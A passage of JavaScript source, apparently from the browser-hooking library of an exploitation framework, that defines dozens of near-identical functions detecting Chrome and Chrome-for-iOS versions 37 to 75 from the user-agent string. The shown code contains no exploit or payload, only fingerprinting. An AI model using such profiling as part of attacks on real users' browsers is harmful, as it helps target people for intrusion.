beef.browser.isC37()\n     */\n    isC37: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 37) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 37.\n     * @example: beef.browser.isC37iOS()\n     */\n    isC37iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 37) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 38.\n     * @example: beef.browser.isC38()\n     */\n    isC38: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 38) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 38.\n     * @example: beef.browser.isC38iOS()\n     */\n    isC38iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 38) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 39.\n     * @example: beef.browser.isC39()\n     */\n    isC39: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 39) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 39.\n     * @example: beef.browser.isC39iOS()\n     */\n    isC39iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 39) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 40.\n     * @example: beef.browser.isC40()\n     */\n    isC40: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 40) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 40.\n     * @example: beef.browser.isC40iOS()\n     */\n    isC40iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 40) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 41.\n     * @example: beef.browser.isC41()\n     */\n    isC41: function () {\n        return (!!window.chrome &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 41) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 41.\n     * @example: beef.browser.isC41iOS()\n     */\n    isC41iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 41) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 42.\n     * @example: beef.browser.isC42()\n     */\n    isC42: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 42) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 42.\n     * @example: beef.browser.isC42iOS()\n     */\n    isC42iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 42) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 43.\n     * @example: beef.browser.isC43()\n     */\n    isC43: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 43) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 43.\n     * @example: beef.browser.isC43iOS()\n     */\n    isC43iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 43) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 44.\n     * @example: beef.browser.isC44()\n     */\n    isC44: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 44) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 44.\n     * @example: beef.browser.isC44iOS()\n     */\n    isC44iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 44) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 45.\n     * @example: beef.browser.isC45()\n     */\n    isC45: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 45) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 45.\n     * @example: beef.browser.isC45iOS()\n     */\n    isC45iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 45) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 46.\n     * @example: beef.browser.isC46()\n     */\n    isC46: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 46) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 46.\n     * @example: beef.browser.isC46iOS()\n     */\n    isC46iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 46) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 47.\n     * @example: beef.browser.isC47()\n     */\n    isC47: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 47) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 47.\n     * @example: beef.browser.isC47iOS()\n     */\n    isC47iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 47) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 48.\n     * @example: beef.browser.isC48()\n     */\n    isC48: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 48) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 48.\n     * @example: beef.browser.isC48iOS()\n     */\n    isC48iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 48) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 49.\n     * @example: beef.browser.isC49()\n     */\n    isC49: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 49) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 49.\n     * @example: beef.browser.isC49iOS()\n     */\n    isC49iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 49) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 50.\n     * @example: beef.browser.isC50()\n     */\n    isC50: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 50) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 50.\n     * @example: beef.browser.isC50iOS()\n     */\n    isC50iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 50) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 51.\n     * @example: beef.browser.isC51()\n     */\n    isC51: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 51) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 51.\n     * @example: beef.browser.isC51iOS()\n     */\n    isC51iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 51) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 52.\n     * @example: beef.browser.isC52()\n     */\n    isC52: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 52) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 52.\n     * @example: beef.browser.isC52iOS()\n     */\n    isC52iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 52) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 53.\n     * @example: beef.browser.isC53()\n     */\n    isC53: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 53) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 53.\n     * @example: beef.browser.isC53iOS()\n     */\n    isC53iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 53) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 54.\n     * @example: beef.browser.isC54()\n     */\n    isC54: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 54) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 54.\n     * @example: beef.browser.isC54iOS()\n     */\n    isC54iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 54) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 55.\n     * @example: beef.browser.isC55()\n     */\n    isC55: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 55) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 55.\n     * @example: beef.browser.isC55iOS()\n     */\n    isC55iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 55) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 56.\n     * @example: beef.browser.isC56()\n     */\n    isC56: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 56) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 56.\n     * @example: beef.browser.isC56iOS()\n     */\n    isC56iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 56) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 57.\n     * @example: beef.browser.isC57()\n     */\n    isC57: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 57) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 57.\n     * @example: beef.browser.isC57iOS()\n     */\n    isC57iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 57) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 58.\n     * @example: beef.browser.isC58()\n     */\n    isC58: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 58) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 58.\n     * @example: beef.browser.isC58iOS()\n     */\n    isC58iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 58) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 59.\n     * @example: beef.browser.isC59()\n     */\n    isC59: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 59) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 59.\n     * @example: beef.browser.isC59iOS()\n     */\n    isC59iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 59) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 60.\n     * @example: beef.browser.isC60()\n     */\n    isC60: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 60) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 60.\n     * @example: beef.browser.isC60iOS()\n     */\n    isC60iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 60) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 61.\n     * @example: beef.browser.isC61()\n     */\n    isC61: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 61) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 61.\n     * @example: beef.browser.isC61iOS()\n     */\n    isC61iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 61) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 62.\n     * @example: beef.browser.isC62()\n     */\n    isC62: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 62) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 62.\n     * @example: beef.browser.isC62iOS()\n     */\n    isC62iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 62) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 63.\n     * @example: beef.browser.isC63()\n     */\n    isC63: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 63) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 63.\n     * @example: beef.browser.isC63iOS()\n     */\n    isC63iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 63) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 64.\n     * @example: beef.browser.isC64()\n     */\n    isC64: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 64) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 64.\n     * @example: beef.browser.isC64iOS()\n     */\n    isC64iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 64) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 65.\n     * @example: beef.browser.isC65()\n     */\n    isC65: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 65) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 65.\n     * @example: beef.browser.isC65iOS()\n     */\n    isC65iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 65) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 66.\n     * @example: beef.browser.isC66()\n     */\n    isC66: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 66) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 66.\n     * @example: beef.browser.isC66iOS()\n     */\n    isC66iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 66) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 67.\n     * @example: beef.browser.isC67()\n     */\n    isC67: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 67) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 67.\n     * @example: beef.browser.isC67iOS()\n     */\n    isC67iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 67) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 68.\n     * @example: beef.browser.isC68()\n     */\n    isC68: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 68) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 68.\n     * @example: beef.browser.isC68iOS()\n     */\n    isC68iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 68) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 69.\n     * @example: beef.browser.isC69()\n     */\n    isC69: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 69) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 69.\n     * @example: beef.browser.isC69iOS()\n     */\n    isC69iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 69) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 70.\n     * @example: beef.browser.isC70()\n     */\n    isC70: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 70) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 70.\n     * @example: beef.browser.isC70iOS()\n     */\n    isC70iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 70) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 71.\n     * @example: beef.browser.isC71()\n     */\n    isC71: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 71) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 71.\n     * @example: beef.browser.isC71iOS()\n     */\n    isC71iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 71) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 72.\n     * @example: beef.browser.isC72()\n     */\n    isC72: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 72) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 72.\n     * @example: beef.browser.isC72iOS()\n     */\n    isC72iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 72) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 73.\n     * @example: beef.browser.isC73()\n     */\n    isC73: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 73) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 73.\n     * @example: beef.browser.isC73iOS()\n     */\n    isC73iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 73) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 74.\n     * @example: beef.browser.isC74()\n     */\n    isC74: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 74) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome for iOS 74.\n     * @example: beef.browser.isC74iOS()\n     */\n    isC74iOS: function () {\n        return (!window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./) != null) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/CriOS\\/(\\d+)\\./)[1], 10) == 74) ? true : false);\n    },\n\n    /**\n     * Returns true if Chrome 75.\n     * @example: beef.browser.isC75()\n     */\n    isC75: function () {\n        return (!!window.chrome &amp;&amp; !!window.fetch &amp;&amp; !window.webkitPerformance &amp;&amp; window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)) &amp;&amp; ((parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1], 10) == 75) ? true : false);\n    